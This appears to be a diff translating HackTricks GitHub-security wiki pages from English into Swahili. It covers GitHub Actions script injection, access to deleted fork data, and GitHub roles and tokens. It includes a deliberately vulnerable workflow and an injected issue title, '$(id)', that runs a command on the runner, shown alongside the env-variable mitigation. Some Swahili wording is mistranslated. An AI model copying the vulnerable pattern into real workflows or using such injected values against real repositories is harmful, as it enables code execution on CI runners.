- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
- [Kujiandikisha na GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Orodha ya usakinishaji kwa programu iliyothibitishwa](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Unda token ya ufikiaji wa usakinishaji kwa programu](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,103 +2,95 @@
{{#include ../../../banners/hacktricks-training.md}}
## Understanding the risk
## Kuelewa hatari
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
Vidokezo muhimu:
- Uundaji (rendering) hufanyika kabla ya utekelezaji. The run script inaundwa kwa expressions zote zilizosuluhishwa, kisha inatekelezwa na shell.
- Contexts nyingi zina nyanja zinazodhibitiwa na mtumiaji kulingana na tukio linalochochea (issues, PRs, comments, discussions, forks, stars, n.k.). Angalia rejea ya untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting ndani ya run: sio ulinzi wa kuaminika, kwa sababu injection hutokea katika hatua ya template rendering. Wavamizi wanaweza kuvunja nukuu au kuingiza operators kupitia input iliyotengenezwa kwa ustadi.
## Vulnerable pattern → RCE on runner
Vulnerable workflow (triggered when someone opens a new issue):
## Mfano hatarishi → RCE on runner
Workflow hatarishi (inayoanzishwa wakati mtu anafungua issue mpya):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
If an attacker opens an issue titled $(id), the rendered step becomes:
Ikiwa mshambuliaji anafungua issue yenye kichwa $(id), hatua iliyowasilishwa itakuwa:
```sh
echo "New issue $(id) created"
```
The command substitution runs id on the runner. Example output:
Ubadilishaji wa amri (command substitution) unaendesha id kwenye runner. Mfano wa pato:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Kwa nini kunukuu hakukuokoa:
- Mielezo zinatengenezwa kwanza, kisha script inayotokana inaendeshwa. Ikiwa thamani isiyoaminika ina $(...), `;`, `"`/`'`, au newlines, inaweza kubadilisha muundo wa programu licha ya kunukuu kwako.
Why quoting doesnt save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
## Safe pattern (shell variables via env)
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
## Mfano salama (shell variables via env)
Kupunguza hatari sahihi: nakili ingizo lisiloaminika ndani ya environment variable, kisha tumia native shell expansion ($VAR) katika run script. Usirudishe tena kwa ${{ ... }} ndani ya command.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Vidokezo:
- Epukana kutumia ${{ env.TITLE }} ndani ya run:. Hii inarejesha template rendering ndani ya amri na inaleta hatari ile ile ya injection.
- Pendelea kupitisha inputs zisizo waaminifu kupitia env: mapping na kuzi-refer kwa $VAR ndani ya run:.
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Nyuso zinazoweza kusababishwa na msomaji (zitachukuliwe kuwa zisizo waaminifu)
## Reader-triggerable surfaces (treat as untrusted)
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
Akaunti zenye tu ruhusa ya kusoma kwenye public repositories bado zinaweza kusababisha matukio mengi. Kila uwanja katika contexts zinazotokana na matukio haya lazima uchukuliwe kuwa udhibitiwa na mshambuliaji isipokuwa kuthibitishwa vinginevyo. Mifano:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- discussion, discussion_comment (orgs zinaweza kuzuia mijadala)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
- pull_request_target (hatari ikiwa itatumika vibaya, inaendesha katika muktadha wa base repo)
- fork (mtu yeyote anaweza kufanya fork ya repos public)
- watch (kuweka nyota kwenye repo)
- Kwa njia isiyo ya moja kwa moja kupitia mnyororo wa workflow_run/workflow_call
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
Ni kutegemea tukio ni uwanja gani hasa unaodhibitiwa na mshambuliaji. Rejea GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Practical tips
## Vidokezo vya vitendo
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
- Punguza matumizi ya expressions ndani ya run:. Tumia env: mapping + $VAR.
- Ikiwa lazima ubadilishe input, fanya hivyo kwenye shell ukitumia zana salama (printf %q, jq -r, n.k.), ukianza bado kutoka kwa shell variable.
- Kuwa wa tahadhari zaidi unapoingiza branch names, PR titles, usernames, labels, discussion titles, na PR head refs ndani ya scripts, command-line flags, au file paths.
- Kwa reusable workflows na composite actions, tumia mtindo ule ule: map kwenda env kisha urejeee kwa $VAR.
## References
## Marejeo
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,58 +1,56 @@
# Accessible Deleted Data in Github
# Data Zilizofutwa Zinazoweza Kupatikana katika Github
{{#include ../../banners/hacktricks-training.md}}
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
Njia hizi za kufikia data kutoka Github ambazo zilionekana kufutwa [**ziliripotiwa katika chapisho hili la blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Accessing Deleted Fork Data
## Kufikia Data za Fork Zilizofutwa
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
1. Unaforki hifadhi ya umma
2. Unafanya commit ya msimbo kwenye fork yako
3. Unafuta fork yako
> [!CAUTION]
> The data commited in the deleted fork is still accessible.
> Data iliyofanywa commit katika fork iliyofutwa bado inapatikana.
## Accessing Deleted Repo Data
## Kufikia Data za Repo Zilizofutwa
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
1. Una repo ya umma kwenye GitHub.
2. Mtumiaji anafork repo yako.
3. Unafanya commit ya data baada ya wao kuifork (na hawajawahi kusawazisha fork yao na masasisho yako).
4. Unafuta repo nzima.
> [!CAUTION]
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
> Hata kama umefuta repo yako, mabadiliko yote yaliyofanywa kwa hiyo bado yanapatikana kupitia forks.
## Accessing Private Repo Data
## Kufikia Data za Repo za Faragha
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that youre not going to make public.
3. You make your “upstream” repository public and keep your fork private.
1. Unaunda repo ya faragha ambayo hatimaye itafanywa kuwa ya umma.
2. Unaunda toleo la faragha, la ndani la repo hiyo (kupitia forking) na kufanya commit ya msimbo wa ziada kwa vipengele ambavyo huenda usifanye kuwa umma.
3. Unafanya repo yako ya "upstream" kuwa ya umma na kuweka fork yako kuwa ya faragha.
> [!CAUTION]
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
> Inawezekana kufikia data zote zilizopushwa kwenye fork ya ndani katika kipindi kati ya kuundwa kwa fork ya ndani na toleo la umma lilipofanywa kuwa umma.
## How to discover commits from deleted/hidden forks
## Jinsi ya kugundua commits kutoka kwa forks zilizofutwa/zinazofichwa
The same blog post propose 2 options:
Chapisho sawa la blog linapendekeza chaguzi 2:
### Directly accessing the commit
### Kufikia moja kwa moja commit
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
Ikiwa thamani ya ID ya commit (sha-1) inajulikana inawezekana kuifikia katika `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-forcing short SHA-1 values
### Kuongeza nguvu thamani za fupi za SHA-1
It's the same to access both of these:
Ni sawa kufikia zote mbili hizi:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
And the latest one use a short sha-1 that is bruteforceable.
Na ya hivi karibuni inatumia sha-1 fupi ambayo inaweza kuongezwa nguvu.
## References
## Marejeleo
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,263 +1,257 @@
# Basic Github Information
# Maelezo ya Msingi ya Github
{{#include ../../banners/hacktricks-training.md}}
## Basic Structure
## Muundo wa Msingi
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
Muundo wa msingi wa mazingira ya Github kwa kampuni kubwa ni kwamba kampuni inamiliki **enterprise** ambayo inamiliki **several organizations** na kila moja yao inaweza kuwa na **several repositories** na **several teams**. Kampuni ndogo zinaweza kumiliki **just one organization and no enterprises**.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Kutoka kwa mtazamo wa mtumiaji, **user** anaweza kuwa **member** wa **different enterprises and organizations**. Ndani yao mtumiaji anaweza kuwa na **different enterprise, organization and repository roles**.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
Zaidi ya hayo, mtumiaji anaweza kuwa **part of different teams** na kuwa na majukumu tofauti ya enterprise, organization au repository.
And finally **repositories may have special protection mechanisms**.
Na hatimaye, **repositories may have special protection mechanisms**.
## Privileges
### Enterprise Roles
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
- **Enterprise owner**: Watu wenye jukumu hili wanaweza **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. Hata hivyo, hawawezi **access organization settings or content** isipokuwa wakateuliwa kuwa organization owner au wakapewa ufikiaji wa moja kwa moja wa repository inayomilikiwa na organization.
- **Enterprise members**: Members wa organizations zinazomilikiwa na enterprise yako pia huwa **automatically members of the enterprise**.
### Organization Roles
In an organisation users can have different roles:
Ndani ya organization watumiaji wanaweza kuwa na majukumu tofauti:
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
- **Organization owners**: Organization owners wana **complete administrative access to your organization**. Jukumu hili linapaswa kufungiwa kwa idadi ndogo, lakini si chini ya watu wawili, ndani ya organization yako.
- **Organization members**: Hili ndilo **default**, jukumu lisilo la utawala kwa **people in an organization**. Kwa default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers ni watumiaji wanaoweza **manage the billing settings for your organization**, kama vile taarifa za malipo.
- **Security Managers**: Hii ni jukumu ambalo organization owners wanaweza kulipa timu yoyote ndani ya organization. Linapotekelezwa, linawapa kila mwanachama wa timu ruhusa za **manage security alerts and settings across your organization, as well as read permissions for all repositories** ndani ya organization.
- Ikiwa organization yako ina timu ya usalama, unaweza kutumia jukumu la security manager kuwapa wanachama wa timu ufikiaji mdogo wanaohitaji kwa organization.
- **Github App managers**: Ili kuruhusu watumiaji wengine **manage GitHub Apps owned by an organization**, owner anaweza kuwapa ruhusa za GitHub App manager.
- **Outside collaborators**: Outside collaborator ni mtu ambaye ana **access to one or more organization repositories but is not explicitly a member** wa organization.
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
Unaweza **compare the permissions** za majukumu haya katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
Katika _https://github.com/organizations/\<org_name>/settings/member_privileges_ unaweza kuona **permissions users will have just for being part of the organisation**.
The settings here configured will indicate the following permissions of members of the organisation:
Mipangilio iliyo hapa itabainisha ruhusa zifuatazo za wanachama wa organisation:
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
- Kuwa admin, writer, reader au bila ruhusa juu ya repositories zote za organization.
- Ikiwa wanachama wanaweza kuunda private, internal au public repositories.
- Ikiwa forking ya repositories inawezekana.
- Ikiwa inawezekana kumualika outside collaborators.
- Ikiwa public au private sites zinaweza kuchapishwa.
- Ruhusa ambazo admins wana juu ya repositories.
- Ikiwa wanachama wanaweza kuunda timu mpya.
### Repository Roles
By default repository roles are created:
Kwa default majukumu ya repository huundwa:
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
- **Read**: Inashauriwa kwa **non-code contributors** ambao wanataka kuona au kujadili mradi wako.
- **Triage**: Inashauriwa kwa **contributors who need to proactively manage issues and pull requests** bila ufikiaji wa kuandika.
- **Write**: Inashauriwa kwa contributors ambao **actively push to your project**.
- **Maintain**: Inashauriwa kwa **project managers who need to manage the repository** bila ufikiaji wa vitendo nyeti au vinavyoharibu.
- **Admin**: Inashauriwa kwa watu wanaohitaji **full access to the project**, ikijumuisha vitendo nyeti na vinavyoharibu kama kusimamia usalama au kufuta repository.
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Unaweza **compare the permissions** za kila jukumu katika jedwali hili [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
Unaweza pia **create your own roles** katika _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
Unaweza **list the teams created in an organization** katika _https://github.com/orgs/\<org_name>/teams/. Note that to see the teams which are children of other teams you need to access each parent team._
### Users
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
Watumiaji wa organization wanaweza **listed** katika _https://github.com/orgs/\<org_name>/people._
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
Katika taarifa za kila mtumiaji unaweza kuona **teams the user is member of**, na **repos the user has access to**.
## Github Authentication
Github offers different ways to authenticate to your account and perform actions on your behalf.
Github inatoa njia mbalimbali za ku-authenticate kwa akaunti yako na kutekeleza vitendo kwa niaba yako.
### Web Access
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
Kupitia **github.com** unaweza kuingia kwa kutumia **username and password** (na mara nyingi **2FA**).
### **SSH Keys**
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
Unaweza kusanidi akaunti yako na moja au zaidi ya public keys zinazomruhusu **private key kuperform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
Huwezi **impersonate the user with these keys** lakini ikiwa hautatumia inaweza kutokea utakaguliwa kwa kutuma commits bila signature. Jifunze zaidi kuhusu [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
### **Personal Access Tokens**
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
Unaweza kuunda personal access token ku **give an application access to your account**. Unapounda personal access token **user** anatakiwa **specify** ruhusa ambazo **token** itakuwa nazo. [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
Oauth applications zinaweza kukuomba ruhusa **to access part of your github information or to impersonate you** kutekeleza vitendo fulani. Mfano wa kawaida ni kitufe cha **login with github** utakachoona kwenye baadhi ya platform.
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
- Unaweza **create** yako mwenye **Oauth applications** katika [https://github.com/settings/developers](https://github.com/settings/developers)
- Unaweza kuona zote **Oauth applications that has access to your account** katika [https://github.com/settings/applications](https://github.com/settings/applications)
- Unaweza kuona **scopes that Oauth Apps can ask for** katika [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
- Unaweza kuona third party access ya applications katika **organization** katika _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
Some **security recommendations**:
Baadhi ya mapendekezo ya usalama:
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
- OAuth App inapaswa daima **act as the authenticated GitHub user across all of GitHub** (mfano, katika kutoa notifikeshini kwa mtumiaji) na kuwa na ufikiaji tu wa scopes zilizobainishwa.
- OAuth App inaweza kutumika kama identity provider kwa kuwezesha "Login with GitHub" kwa mtumiaji aliye authenticated.
- **Don't** tengeneza OAuth App ikiwa unataka application yako itekeleze vitendo juu ya **single repository**. Kwa `repo` OAuth scope, OAuth Apps zinaweza **act on _all_ of the authenticated user's repositories**.
- **Don't** tengeneza OAuth App ili itumike kama application ya **team or company**. OAuth Apps zina-authenticate kama **single user**, hivyo kama mtu mmoja ataunda OAuth App kwa ajili ya kampuni na baadaye aondoke, hakuna mtu mwingine atakayeshika ufikiaji wake.
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
### Github Applications
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
Github applications zinaweza kukuomba ruhusa za **access your github information or impersonate you** kutekeleza vitendo maalum juu ya rasilimali maalum. Katika Github Apps unatakiwa kubainisha repositories ambazo app itakuwa nazo.
- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository.
- The GitHub App should **connect to a personal account or an organisation**.
- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps)
- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them
- You can see installed apps in an **organization** in _https://github.com/organizations/\<org_name>/settings/installations_
- Ili kusakinisha GitHub App, lazima uwe **organisation owner or have admin permissions** katika repository.
- GitHub App inapaswa **connect to a personal account or an organisation**.
- Unaweza kuunda Github application yako katika [https://github.com/settings/apps](https://github.com/settings/apps)
- Unaweza kuona zote **Github applications that has access to your account** katika [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
- Hizi ni **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Kutegemea ruhusa za App itakuwa na uwezo wa kuifikia baadhi yao.
- Unaweza kuona apps zilizowekwa katika **organization** katika _https://github.com/organizations/\<org_name>/settings/installations_
Some security recommendations:
Baadhi ya mapendekezo ya usalama:
- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Make sure the GitHub App integrates with **specific repositories**.
- The GitHub App should **connect to a personal account or an organisation**.
- Don't expect the GitHub App to know and do everything a user can.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things.
- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do.
- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- GitHub App inapaswa **take actions independent of a user** (isipokuwa app inatumia [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). Ili kuweka user-to-server access tokens kuwa salama zaidi, unaweza kutumia access tokens zitakazokoma baada ya saa 8, na refresh token inayoweza kubadilishwa kwa access token mpya. Kwa maelezo zaidi, angalia "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Hakikisha GitHub App inajiunga na **specific repositories**.
- GitHub App inapaswa **connect to a personal account or an organisation**.
- Usitarajie GitHub App ijue au ifanye kila kitu ambacho mtumiaji anaweza kufanya.
- **Don't use a GitHub App if you just need a "Login with GitHub" service**. Lakini GitHub App inaweza kutumia [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuwalogisha watumiaji _and_ kufanya mambo mengine.
- Usitengeneze GitHub App ikiwa _only_ unataka kuonekana kama GitHub user na kufanya kila kitu mtumiaji huyo anaweza kufanya.
- Ikiwa unatumia app yako na GitHub Actions na unataka kubadilisha workflow files, lazima u-authenticate kwa niaba ya mtumiaji na OAuth token inayojumuisha `workflow` scope. Mtumiaji lazima awe na admin au write permission kwa repository inayobeba workflow file. Kwa maelezo zaidi, angalia "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
### Github Actions
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
Hii **isn't a way to authenticate in github**, lakini Github Action yenye **malicious** inaweza kupata **unauthorised access to github** na **depending** juu ya **privileges** zilizotolewa kwa Action, mashambulizi mbalimbali yanaweza kufanywa. Tazama chini kwa maelezo zaidi.
## Git Actions
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
Git actions zinaruhusu kuendesha kiotomatiki **execution of code when an event happen**. Kawaida code inayotekelezwa ina uhusiano na code ya repository (labda kujenga docker container au kukagua kwamba PR haina secrets).
### Configuration
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
Katika _https://github.com/organizations/\<org_name>/settings/actions_ inawezekana kuangalia **configuration of the github actions** kwa organization.
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
Inawezekana kuzuia kabisa matumizi ya github actions, **allow all github actions**, au kuruhusu actions maalum tu.
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
Pia inawezekana kusanidi **who needs approval to run a Github Action** na **permissions of the GITHUB_TOKEN** ya Github Action wakati inaendeshwa.
### Git Secrets
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
Github Action kawaida inahitaji aina fulani ya secrets ili kuingiliana na github au applications za third party. Ili **avoid putting them in clear-text** katika repo, github inaruhusu kuyaweka kama **Secrets**.
Secrets hizi zinaweza kusanidiwa **kwa repo au kwa organization nzima**. Kisha, ili Action iweze kupata secret unahitaji kuiDeclare kama:
```yaml
steps:
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
- name: Hello world action
with: # Set the secret as an input
super_secret:${{ secrets.SuperSecret }}
env: # Or as an environment variable
super_secret:${{ secrets.SuperSecret }}
```
